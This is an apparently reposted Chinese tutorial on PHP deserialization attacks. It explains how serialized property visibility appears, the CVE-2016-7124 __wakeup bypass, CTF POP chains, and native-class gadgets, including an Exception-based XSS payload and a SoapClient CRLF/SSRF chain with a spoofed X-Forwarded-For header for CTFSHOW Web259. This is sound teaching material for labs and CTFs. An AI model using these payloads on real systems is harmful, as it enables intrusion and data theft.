当前位置: 首页 > news >正文

Day61:WEB攻防-PHP反序列化原生类TIPSCVE绕过漏洞属性类型特征

知识点:

1、PHP-反序列化-属性类型&显示特征

2、PHP-反序列化-CVE绕过&字符串逃逸

3、PHP-反序列化-原生类生成&利用&配合

补充:如果在 PHP 类中没有实现某个魔术方法,那么该魔术方法在相应的情况下不会被自动触发。PHP 的魔术方法需要在类中显式地定义和实现,否则默认情况下不会被调用。当 PHP 在特定情况下需要调用某个魔术方法时(比如创建对象、访问属性、调用方法等),它会检查类是否实现了相应的魔术方法。如果类中没有定义该魔术方法,PHP 将不会触发该方法的自动调用。

PHP-属性类型-共有&私有&保护

1、对象变量属性:
public(公共的):在本类内部、外部类、子类都可以访问
protect(受保护的):只有本类或子类或父类中可以访问
private(私人的):只有本类内部可以使用
2、序列化数据显示:
public属性序列化的时候格式是正常成员名
private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名

本地演示序列化数据显示

demo.php

<?php
header("Content-type: text/html; charset=utf-8");
//public private protected说明
class test{public $name="xiaodi";private $age="29";protected $sex="man";
}
$a=new test();
$a=serialize($a);
print_r($a);
var_dump(unserialize($a));

protect 修饰的属性

父类自己访问受保护属性:类内设置接口,类外创建对象访问接口从而访问属性

class ParentClass {protected $protectedProperty = "Protected Property";public function getProtectedProperty() {return $this->protectedProperty;}
}$parentObj = new ParentClass();
echo $parentObj->getProtectedProperty(); // 输出: Protected Property

子类访问父类的受保护属性:子类内设置接口,类外子类创建对象访问接口从而访问属性

class ParentClass {protected $protectedProperty = "Protected Property";
}class ChildClass extends ParentClass {public function getProtectedPropertyFromParent() {return $this->protectedProperty;}
}$childObj = new ChildClass();
echo $childObj->getProtectedPropertyFromParent(); // 输出: Protected Property

类外访问父类的受保护属性

class ParentClass {protected $protectedProperty = "Protected Property";
}$parentObj = new ParentClass();
// 尝试直接访问父类的受保护属性
echo $parentObj->protectedProperty; // 报错: Fatal error: Uncaught Error: Cannot access protected property

类内访问就是在类内的方法访问,类外访问就是创建对象调用属性的方式

private 修饰的属性

父类访问自己的私有属性:类内设置接口,类外创建对象访问接口从而访问属性

class ParentClass {private $privateProperty = "Private Property";public function getPrivateProperty() {return $this->privateProperty;}
}$parentObj = new ParentClass();
echo $parentObj->getPrivateProperty(); // 输出: Private Property

子类无法直接访问父类的私有属性:子类内设置接口,类外子类创建对象也不能访问接口从而访问属性

class ParentClass {private $privateProperty = "Private Property";
}class ChildClass extends ParentClass {public function getPrivatePropertyFromParent() {// 尝试访问父类的私有属性return $this->privateProperty; // 报错: Fatal error: Uncaught Error: Cannot access private property}
}$childObj = new ChildClass();
echo $childObj->getPrivatePropertyFromParent();

类外无法直接访问父类的私有属性

class ParentClass {private $privateProperty = "Private Property";
}$parentObj = new ParentClass();
// 尝试直接访问父类的私有属性
echo $parentObj->privateProperty; // 报错: Fatal error: Uncaught Error: Cannot access private property

protect 修饰的方法

父类自己访问受保护方法:类内设置接口,类外创建对象访问接口从而访问方法

class ParentClass {protected function protectedMethod() {return "Protected Method";}public function callProtectedMethod() {return $this->protectedMethod();}
}$parentObj = new ParentClass();
echo $parentObj->callProtectedMethod(); // 输出: Protected Method

子类访问父类的受保护方法:子类内设置接口,类外子类创建对象访问接口从而访问方法

class ParentClass {protected function protectedMethod() {return "Protected Method";}
}class ChildClass extends ParentClass {public function callProtectedMethodFromParent() {return $this->protectedMethod();}
}$childObj = new ChildClass();
echo $childObj->callProtectedMethodFromParent(); // 输出: Protected Method

类外无法直接访问父类的受保护方法:

class ParentClass {protected function protectedMethod() {return "Protected Method";}
}$parentObj = new ParentClass();
// 尝试直接调用父类的受保护方法
echo $parentObj->protectedMethod(); // 报错: Fatal error: Uncaught Error: Call to protected method

private 修饰的方法

 父类访问自己的私有方法:类内设置接口,类外创建对象访问接口调用方法

class ParentClass {private function privateMethod() {return "Private Method";}public function callPrivateMethod() {return $this->privateMethod();}
}$parentObj = new ParentClass();
echo $parentObj->callPrivateMethod(); // 输出: Private Method

子类无法直接访问父类的私有方法

class ParentClass {private function privateMethod() {return "Private Method";}
}class ChildClass extends ParentClass {public function callPrivateMethodFromParent() {// 尝试访问父类的私有方法return $this->privateMethod(); // 报错: Fatal error: Uncaught Error: Call to private method}
}$childObj = new ChildClass();
echo $childObj->callPrivateMethodFromParent();

类外无法直接访问父类的私有方法

class ParentClass {private function privateMethod() {return "Private Method";}
}$parentObj = new ParentClass();
// 尝试直接调用父类的私有方法
echo $parentObj->privateMethod(); // 报错: Fatal error: Uncaught Error: Call to private method

总结

概念约定:

  • 什么是类内访问:通过类内的方法访问属性/方法。
  • 什么是类外访问:类外创建对象,直接访问属性/方法

protect 访问权限:只有子类,父类自己可以类内访问到,类外不行

  • protect 修饰的属性:类内设置访问属性的接口(public),类外的子类,本类创建对象调用接口从而访问属性
  • protect 修饰的方法:类内设置访问属性的接口(public),类外的子类,本类创建对象调用接口从而调用方法

private 访问权限:只有父类自己可以类内访问,类外不行

  • private 修饰的属性:类内设置接口,只有本类自己可以通过创建对象访问类内接口从而访问私有属性
  • private 修饰的方法:类内设置接口,只有本类自己可以通过创建对象访问类内接口从而访问类内私有方法

PHP-绕过漏洞-CVE&字符串逃逸

CVE-2016-7124(__wakeup:unserialize()时会被自动调用)
漏洞编号:CVE-2016-7124
影响版本:PHP 5<5.6.25; PHP 7<7.0.10
漏洞危害:如存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup执行

CVE-2016-7124-本地Demo

__wakeup():会在反序列化后调用

代码如下:

<?php//__wakeup:反序列化恢复对象之前调用该方法
//CVE-2016-7124 __wakeup绕过
class Test{public $sex;public $name;public $age;public function __construct($name, $age, $sex){echo "__construct被调用!<br>";}public function __wakeup(){echo "__wakeup()被调用<br>";}public function __destruct(){echo "__destruct()被调用<br>";}}
$t = new Test('xiaodi','31','gay');
echo serialize($t),"<br>";
unserialize($_GET['x']);
?>

  • __construct:Test类创建对象调用
  • __wakeup:反序列化数据调用
  • __destruct:销毁对象
  • __destruct:销毁对象

绕过__wakeup():修改属性数量即可

说明:

  • 反序列化没用调用__construct()
  • 属性数错误就会绕过__wakeup()调用
  • 只有一个__destruct()函数,说明没有对象创建成功

再做个实验:PHP属性变为私有,生成序列化数据,在用共有属性的类反序列化它

<?php//__wakeup:反序列化恢复对象之前调用该方法
//CVE-2016-7124 __wakeup绕过
class Test{public $sex;public $name;public $age;public function __construct($name, $age, $sex){echo "__construct被调用!<br>";}public function __wakeup(){echo "__wakeup()被调用<br>";}public function __destruct(){echo "__destruct()被调用<br>";}}$s = unserialize($_GET['x']);
echo $s;
?>

类私有属性:O:4:"Test":3:{s:9:"Testsex";N;s:10:"Testname";N;s:9:"Testage";N;}

类共有属性:O:4:"Test":3:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}

用私有属性数据反序列化共有属性类

用共有属性数据反序列化私有属性类,权限可以由大到小

[极客大挑战 2019]PHP

下载源码分析

反序列化触发调用__wakeup 强制username值

利用语言漏洞绕过 CVE-2016-7124,修改满足漏洞条件触发

POP:

<?phpclass Name
{private $username = 'admin';private $password = '100';
}$n = serialize(new name());
echo $n,"\n";
echo urlencode($n);?>

字符串逃逸

字符变多-str1.php str1-pop.php
字符变少-str2.php str2-pop.php

PHP-原生类Tips-获取&利用&配合

参考案例:https://www.anquanke.com/post/id/264823

原生类(Native class)是指在编程语言的核心库或标准库中提供的类,这些类是语言本身提供的,而不是由用户自定义的类。原生类通常包含语言内置的功能和特性,用于解决常见的编程任务和操作。

PHP原生类使用场景:在代码中没有看到魔术方法的情况下使用的

生成原生类脚本代码:

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {$methods = get_class_methods($class);foreach ($methods as $method) {if (in_array($method, array('__destruct','__toString','__wakeup','__call','__callStatic','__get','__set','__isset','__unset','__invoke','__set_state'))) {print $class . '::' . $method . "\n";}}
} 

注:如果对方环境没有开启相关模块功能,那么是没用的。

本地Demo-XSS

测试代码:

<?php
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>

思路:

1.先看能触发的魔术方法-echo能够触发__toString方法
2.代码中没写魔术方法调用逻辑,那就需要用到原生类
3.使用魔术方法的原生类去利用
4.获取魔术方法的原生类(使用脚本去生成,生成多少与当前环境模块开关有关
默认的原生类生成脚本有太多原生类和方法了,这里只保留__toString方法,生成其有的原生类)

无代码通过原生类Exception,Exception使用查询编写利用

通过访问触发输出产生XSS漏洞,POP链:

<?php
$a=new Exception("<script>alert('xiaodi')</script>");
echo urlencode(serialize($a));
?>

CTFSHOW-Web259

在首页及flag.php都没看到有魔术方法

调用不存在的方法触发__call(因为getflag方法是不存在的,所以调用该魔术方法)

无代码通过原生类SoapClient(只生成_call方法的原生类)

SoapClient使用查询编写利用

构造pop链

<?php$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-    urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";$client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));echo urlencode(serialize($client));
?>

 

通过访问本地Flag.php获取Flag

相关文章:

Day61:WEB攻防-PHP反序列化原生类TIPSCVE绕过漏洞属性类型特征

知识点&#xff1a; 1、PHP-反序列化-属性类型&显示特征 2、PHP-反序列化-CVE绕过&字符串逃逸 3、PHP-反序列化-原生类生成&利用&配合 补充&#xff1a;如果在 PHP 类中没有实现某个魔术方法&#xff0c;那么该魔术方法在相应的情况下不会被自动触发。PHP 的魔…...

【开源】SpringBoot框架开发不良邮件过滤系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 系统用户模块2.2 收件箱模块2.3 发件箱模块2.4 垃圾箱模块2.5 回收站模块2.6 邮箱过滤设置模块 三、实体类设计3.1 系统用户3.2 邮件3.3 其他实体 四、系统展示五、核心代码5.1 查询收件箱档案5.2 查询回收站档案5.3 新…...

详细教---用Django封装写好的模型

本次我们要用自己写好的热销词条爬虫代码来演示如何用Django把我们写好的模型封装。 第一步&#xff1a;代码准备 热搜词条搜集代码&#xff1a; import requests from lxml import etreeurl "https://tophub.today/n/KqndgxeLl9" headers{User-Agent: Mozilla/5.…...

设计模式 抽象工厂

01.人类接口 public interface Human { //首先定义什么是人类//人是愉快的&#xff0c;会笑的&#xff0c;本来是想用smile表示&#xff0c;想了一下laugh更合适&#xff0c;好长时间没有大笑了&#xff1b; public void laugh(); //人类还会哭&#xff0c;代表痛苦 public v…...

OPTIONS请求(跨域预检查)

目录 一、什么是OPTIONS请求&#xff1f;二、简单请求、复杂请求三、特定的请求头、响应头 一、什么是OPTIONS请求&#xff1f; OPTIONS 请求方式是 HTTP 协议中的一种&#xff0c;主要用于 从响应头中获取服务器支持的HTTP请求方式。 OPTIONS 请求方式是 浏览级行为&#xf…...

游戏反云手机检测方案

游戏风险环境&#xff0c;是指独立于原有设备或破坏设备原有系统的环境。常见的游戏风险环境有&#xff1a;云手机、虚拟机、虚拟框架、iOS越狱、安卓设备root等。 这类风险环境可以为游戏外挂、破解提供所需的高级别设备权限&#xff0c;当游戏处于这些风险环境下&#xff0c…...

HarmonyOS NEXT应用开发之动态路由

介绍 本示例将介绍如何使用动态路由跳转到模块中的页面&#xff0c;以及如何使用动态import的方式加载模块 使用说明 通过动态import的方式&#xff0c;在需要进入页面时加载对应的模块。配置动态路由&#xff0c;通过WrapBuilder接口&#xff0c;动态创建页面并跳转。动态i…...

wayland(xdg_wm_base) + egl + opengles 使用 Assimp 加载带光照信息的材质文件Mtl 实现光照贴图的最简实例(十七)

文章目录 前言一、3d 立方体 model 属性相关文件1. cube1.obj2. cube1.Mtl3. 纹理图片 cordeBouee4.jpg二、实现光照贴图的效果1. 依赖库和头文件1.1 assimp1.2 stb_image.h2. egl_wayland_obj_cube1.cpp3. Matrix.h 和 Matrix.cpp4. xdg-shell-client-protocol.h 和 xdg-shell…...

【NLP笔记】Transformer

文章目录 基本架构EmbeddingEncoderself-attentionMulti-Attention残差连接LayerNorm DecoderMask&Cross Attention线性层&softmax损失函数 论文链接&#xff1a; Attention Is All You Need 参考文章&#xff1a; 【NLP】《Attention Is All You Need》的阅读笔记 一…...

【Unity】程序创建Mesh(二)MeshRenderer、光照、Probes探针、UV信息、法线信息

文章目录 接上文MeshRenderer&#xff08;网格渲染器&#xff09;Materials&#xff08;材质&#xff09;Material和Mesh对应Lighting光照Lightmapping材质中的光照 光源类型阴影全局光照Probes&#xff08;探针&#xff09;Ray Tracing&#xff08;光线追踪&#xff09;Additi…...

每日一练:LeeCode-167. 两数之和 II - 输入有序数组【双指针】

给你一个下标从 1 开始的整数数组 numbers &#xff0c;该数组已按 非递减顺序排列 &#xff0c;请你从数组中找出满足相加之和等于目标数 target 的两个数。如果设这两个数分别是 numbers[index1] 和 numbers[index2] &#xff0c;则 1 < index1 < index2 < numbers.…...

性能优化(CPU优化技术)-NEON指令详解

原文来自ARM SIMD 指令集&#xff1a;NEON 简介 &#x1f3ac;个人简介&#xff1a;一个全栈工程师的升级之路&#xff01; &#x1f4cb;个人专栏&#xff1a;高性能&#xff08;HPC&#xff09;开发基础教程 &#x1f380;CSDN主页 发狂的小花 &#x1f304;人生秘诀&#xf…...

服务器硬件基础知识和云服务器的选购技巧

概述 服务器硬件基础知识涵盖了构成服务器的关键硬件组件和技术&#xff0c;这些组件和技术对于服务器的性能、稳定性和可用性起着至关重要的作用。其中包括中央处理器&#xff08;CPU&#xff09;作为服务器的计算引擎&#xff0c;内存&#xff08;RAM&#xff09;用于数据临…...

深度学习PyTorch 之 transformer-中文多分类

transformer的原理部分在前面基本已经介绍完了&#xff0c;接下来就是代码部分&#xff0c;因为transformer可以做的任务有很多&#xff0c;文本的分类、时序预测、NER、文本生成、翻译等&#xff0c;其相关代码也会有些不同&#xff0c;所以会分别进行介绍 但是对于不同的任务…...

STC 51单片机烧录程序遇到一直检测单片机的问题

准备工作 一&#xff0c;需要一个USB-TTL的下载器 &#xff0c;并安装好对应的驱动程序 二、对应的下载软件&#xff0c;stc软件需要官方的软件&#xff08;最好是最新的&#xff0c;个人遇到旧的下载软件出现问题&#xff09; 几种出现一直检测的原因 下载软件图标&#xf…...

后端系统开发之——接口参数校验

今天难得双更&#xff0c;大家点个关注捧个场 原文地址&#xff1a;后端系统开发之——接口参数校验 - Pleasure的博客 下面是正文内容&#xff1a; 前言 在上一篇文章中提到了接口的开发&#xff0c;虽然是完成了&#xff0c;但还是缺少一些细节——传入参数的校验。 即用户…...

IDEA 配置阿里规范检测

IDEA中安装插件 配置代码风格检查规范 使用代码风格检测 在代码类中&#xff0c;右键 然后会给出一些不符合规范的修改建议&#xff1a; 保存代码时自动格式化代码 安装插件&#xff1a; 配置插件&#xff1a;...

数据仓库系列总结

一、数据仓库架构 1、数据仓库的概念 数据仓库&#xff08;Data Warehouse&#xff09;是一个面向主题的、集成的、相对稳定的、反映历史变化的数据集合&#xff0c;用于支持管理决策。 数据仓库通常包含多个来源的数据&#xff0c;这些数据按照主题进行组织和存储&#x…...

gitlab runner没有内网的访问权限应该怎么解决

如果你的GitLab Runner没有内网访问权限&#xff0c;但你需要访问内部资源&#xff08;如私有仓库或其他服务&#xff09;&#xff0c;你可以考虑以下几种方法&#xff1a; VPN 或 SSH 隧道&#xff1a; 在允许的情况下&#xff0c;通过VPN或SSH隧道连接到内部网络。这将允许Gi…...

el-tree 设置默认展开指定层级

el-tree默认关闭所有选项&#xff0c;但是有添加或者编辑删除的情况下&#xff0c;需要刷新接口&#xff0c;此时会又要关闭所有选项&#xff1b; 需求&#xff1a;在编辑时、添加、删除 需要将该内容默认展开 <el-tree :default-expanded-keys"expandedkeys":da…...

国防科技大学计算机基础课程笔记02信息编码

1.机内码和国标码 国标码就是我们非常熟悉的这个GB2312,但是因为都是16进制&#xff0c;因此这个了16进制的数据既可以翻译成为这个机器码&#xff0c;也可以翻译成为这个国标码&#xff0c;所以这个时候很容易会出现这个歧义的情况&#xff1b; 因此&#xff0c;我们的这个国…...

论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(二)

HoST框架核心实现方法详解 - 论文深度解读(第二部分) 《Learning Humanoid Standing-up Control across Diverse Postures》 系列文章: 论文深度解读 + 算法与代码分析(二) 作者机构: 上海AI Lab, 上海交通大学, 香港大学, 浙江大学, 香港中文大学 论文主题: 人形机器人…...

微软PowerBI考试 PL300-选择 Power BI 模型框架【附练习数据】

微软PowerBI考试 PL300-选择 Power BI 模型框架 20 多年来&#xff0c;Microsoft 持续对企业商业智能 (BI) 进行大量投资。 Azure Analysis Services (AAS) 和 SQL Server Analysis Services (SSAS) 基于无数企业使用的成熟的 BI 数据建模技术。 同样的技术也是 Power BI 数据…...

三维GIS开发cesium智慧地铁教程(5)Cesium相机控制

一、环境搭建 <script src"../cesium1.99/Build/Cesium/Cesium.js"></script> <link rel"stylesheet" href"../cesium1.99/Build/Cesium/Widgets/widgets.css"> 关键配置点&#xff1a; 路径验证&#xff1a;确保相对路径.…...

渗透实战PortSwigger靶场-XSS Lab 14:大多数标签和属性被阻止

<script>标签被拦截 我们需要把全部可用的 tag 和 event 进行暴力破解 XSS cheat sheet&#xff1a; https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 通过爆破发现body可以用 再把全部 events 放进去爆破 这些 event 全部可用 <body onres…...

Java面试专项一-准备篇

一、企业简历筛选规则 一般企业的简历筛选流程&#xff1a;首先由HR先筛选一部分简历后&#xff0c;在将简历给到对应的项目负责人后再进行下一步的操作。 HR如何筛选简历 例如&#xff1a;Boss直聘&#xff08;招聘方平台&#xff09; 直接按照条件进行筛选 例如&#xff1a…...

dify打造数据可视化图表

一、概述 在日常工作和学习中&#xff0c;我们经常需要和数据打交道。无论是分析报告、项目展示&#xff0c;还是简单的数据洞察&#xff0c;一个清晰直观的图表&#xff0c;往往能胜过千言万语。 一款能让数据可视化变得超级简单的 MCP Server&#xff0c;由蚂蚁集团 AntV 团队…...

华硕a豆14 Air香氛版,美学与科技的馨香融合

在快节奏的现代生活中&#xff0c;我们渴望一个能激发创想、愉悦感官的工作与生活伙伴&#xff0c;它不仅是冰冷的科技工具&#xff0c;更能触动我们内心深处的细腻情感。正是在这样的期许下&#xff0c;华硕a豆14 Air香氛版翩然而至&#xff0c;它以一种前所未有的方式&#x…...

【网络安全】开源系统getshell漏洞挖掘

审计过程&#xff1a; 在入口文件admin/index.php中&#xff1a; 用户可以通过m,c,a等参数控制加载的文件和方法&#xff0c;在app/system/entrance.php中存在重点代码&#xff1a; 当M_TYPE system并且M_MODULE include时&#xff0c;会设置常量PATH_OWN_FILE为PATH_APP.M_T…...

NPOI操作EXCEL文件 ——CAD C# 二次开发

缺点:dll.版本容易加载错误。CAD加载插件时&#xff0c;没有加载所有类库。插件运行过程中用到某个类库&#xff0c;会从CAD的安装目录找&#xff0c;找不到就报错了。 【方案2】让CAD在加载过程中把类库加载到内存 【方案3】是发现缺少了哪个库&#xff0c;就用插件程序加载进…...